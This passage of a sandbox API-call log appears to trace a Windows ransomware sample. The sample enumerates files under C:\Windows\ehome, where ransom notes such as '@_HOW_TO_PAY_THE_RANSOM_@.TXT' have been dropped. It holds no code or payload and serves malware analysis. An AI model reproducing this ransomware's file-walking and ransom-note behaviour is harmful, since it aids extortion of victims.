lpUniversalTime=0x4ac5ac, lpLocalTime=0x4ac5bc | out: lpLocalTime=0x4ac5bc) returned 1 [0253.101] CloseHandle (hObject=0x1f0) returned 1 [0253.101] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0253.101] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd80 | out: hHeap=0x510000) returned 1 [0253.101] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa32ce22f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa32ce22f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa33667b1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x604000, dwReserved0=0x32, dwReserved1=0x0, cFileName="ehshell.dll", cAlternateFileName="")) returned 1 [0253.101] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c8a622, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x80c8a622, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe1c68250, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x19600, dwReserved0=0x32, dwReserved1=0x0, cFileName="ehshell.exe", cAlternateFileName="")) returned 1 [0253.101] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x869d6e22, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x869d6e22, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x85490b2f, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x8e2, dwReserved0=0x32, dwReserved1=0x0, cFileName="ehshell.exe.config", cAlternateFileName="")) returned 1 [0253.102] AreFileApisANSI () returned 1 [0253.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4acc88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 37 [0253.102] AreFileApisANSI () returned 1 [0253.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x52cd80, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 37 [0253.102] GetFileInformationByHandle (in: hFile=0x1f0, lpFileInformation=0x4ac624 | out: lpFileInformation=0x4ac624) returned 1 [0253.102] FileTimeToSystemTime (in: lpFileTime=0x4ac5f8, lpSystemTime=0x4ac5cc | out: lpSystemTime=0x4ac5cc) returned 1 [0253.102] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5cc, lpLocalTime=0x4ac5dc | out: lpLocalTime=0x4ac5dc) returned 1 [0253.102] FileTimeToSystemTime (in: lpFileTime=0x4ac5e8, lpSystemTime=0x4ac5bc | out: lpSystemTime=0x4ac5bc) returned 1 [0253.102] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5bc, lpLocalTime=0x4ac5cc | out: lpLocalTime=0x4ac5cc) returned 1 [0253.102] FileTimeToSystemTime (in: lpFileTime=0x4ac5d8, lpSystemTime=0x4ac5ac | out: lpSystemTime=0x4ac5ac) returned 1 [0253.102] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5ac, lpLocalTime=0x4ac5bc | out: lpLocalTime=0x4ac5bc) returned 1 [0253.102] CloseHandle (hObject=0x1f0) returned 1 [0253.103] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0253.103] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd80 | out: hHeap=0x510000) returned 1 [0253.103] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85465899, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x85465899, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x2ab059c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x32, dwReserved1=0x0, cFileName="ehSidebarRes.dll", cAlternateFileName="")) returned 1 [0253.103] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa30b8eec, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa30b8eec, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa30df04c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x60600, dwReserved0=0x32, dwReserved1=0x0, cFileName="ehskb.dll", cAlternateFileName="")) returned 1 [0253.103] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x807a1925, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x807a1925, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x15eb5b00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x32, dwReserved1=0x0, cFileName="ehSSO.dll", cAlternateFileName="")) returned 1 [0253.103] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cb32572, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x6cb32572, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x160a2da0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2e400, dwReserved0=0x32, dwReserved1=0x0, cFileName="ehtrace.dll", cAlternateFileName="")) returned 1 [0253.103] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3281f6f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3281f6f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3281f6f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x27e00, dwReserved0=0x32, dwReserved1=0x0, cFileName="ehtray.exe", cAlternateFileName="")) returned 1 [0253.103] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34972b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa34972b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa34bd413, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x123e00, dwReserved0=0x32, dwReserved1=0x0, cFileName="ehui.dll", cAlternateFileName="")) returned 1 [0253.103] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2ffa80a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2ffa80a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3046acb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x197600, dwReserved0=0x32, dwReserved1=0x0, cFileName="ehuihlp.dll", cAlternateFileName="")) returned 1 [0253.103] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa30b8eec, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa30b8eec, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa30b8eec, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x46600, dwReserved0=0x32, dwReserved1=0x0, cFileName="ehvid.exe", cAlternateFileName="")) returned 1 [0253.103] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c48e508, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa4b3128, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9c6a471a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x32, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0253.104] AreFileApisANSI () returned 1 [0253.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 53 [0253.106] AreFileApisANSI () returned 1 [0253.106] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 54 [0253.107] AreFileApisANSI () returned 1 [0253.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 53 [0253.109] FindFirstFileA (in: lpFileName="C:\\\\Windows\\ehome\\en-US\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c48e508, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x1439b0e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1439b0e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549790 [0253.110] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c48e508, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x1439b0e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1439b0e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="..", cAlternateFileName="")) returned 1 [0253.110] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1439b0e0, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x1439b0e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1439b0e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0253.110] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1439b0e0, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x1439b0e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1439b0e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0253.110] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1439b0e0, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x1439b0e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1439b0e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0253.110] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x3, cFileName="cbva.dll.mui", cAlternateFileName="")) returned 1 [0253.110] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehchhime.dll.mui", cAlternateFileName="")) returned 1 [0253.110] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehchsime.dll.mui", cAlternateFileName="")) returned 1 [0253.110] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehcmres.dll.mui", cAlternateFileName="")) returned 1 [0253.110] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehdebug.dll.mui", cAlternateFileName="")) returned 1 [0253.110] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehdrop.dll.mui", cAlternateFileName="")) returned 1 [0253.110] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehentt.dll.mui", cAlternateFileName="")) returned 1 [0253.110] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehepgres.dll.mui", cAlternateFileName="")) returned 1 [0253.111] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehglid.dll.mui", cAlternateFileName="")) returned 1 [0253.111] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehjpnime.dll.mui", cAlternateFileName="")) returned 1 [0253.111] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehkorime.dll.mui", cAlternateFileName="")) returned 1 [0253.111] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehmsas.exe.mui", cAlternateFileName="")) returned 1 [0253.111] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehPresenter.dll.mui", cAlternateFileName="")) returned 1 [0253.111] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehprivjob.exe.mui", cAlternateFileName="")) returned 1 [0253.111] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehrec.exe.mui", cAlternateFileName="")) returned 1 [0253.111] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehrecvr.exe.mui", cAlternateFileName="")) returned 1 [0253.111] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc8400, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehres.dll.mui", cAlternateFileName="")) returned 1 [0253.111] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehsched.exe.mui", cAlternateFileName="")) returned 1 [0253.111] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehSidebarRes.dll.mui", cAlternateFileName="")) returned 1 [0253.111] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x3, cFileName="ehvid.exe.mui", cAlternateFileName="")) returned 1 [0253.111] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3dd2, dwReserved0=0x0, dwReserved1=0x3, cFileName="epgtos.txt", cAlternateFileName="")) returned 1 [0253.111] AreFileApisANSI () returned 1 [0253.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 35 [0253.112] AreFileApisANSI () returned 1 [0253.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x52cd80, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 35 [0253.113] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0253.113] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0253.113] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0253.114] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0253.114] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0253.115] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0253.115] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0253.116] CloseHandle (hObject=0x178) returned 1 [0253.116] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5288b8 | out: hHeap=0x510000) returned 1 [0253.116] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd80 | out: hHeap=0x510000) returned 1 [0253.116] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, 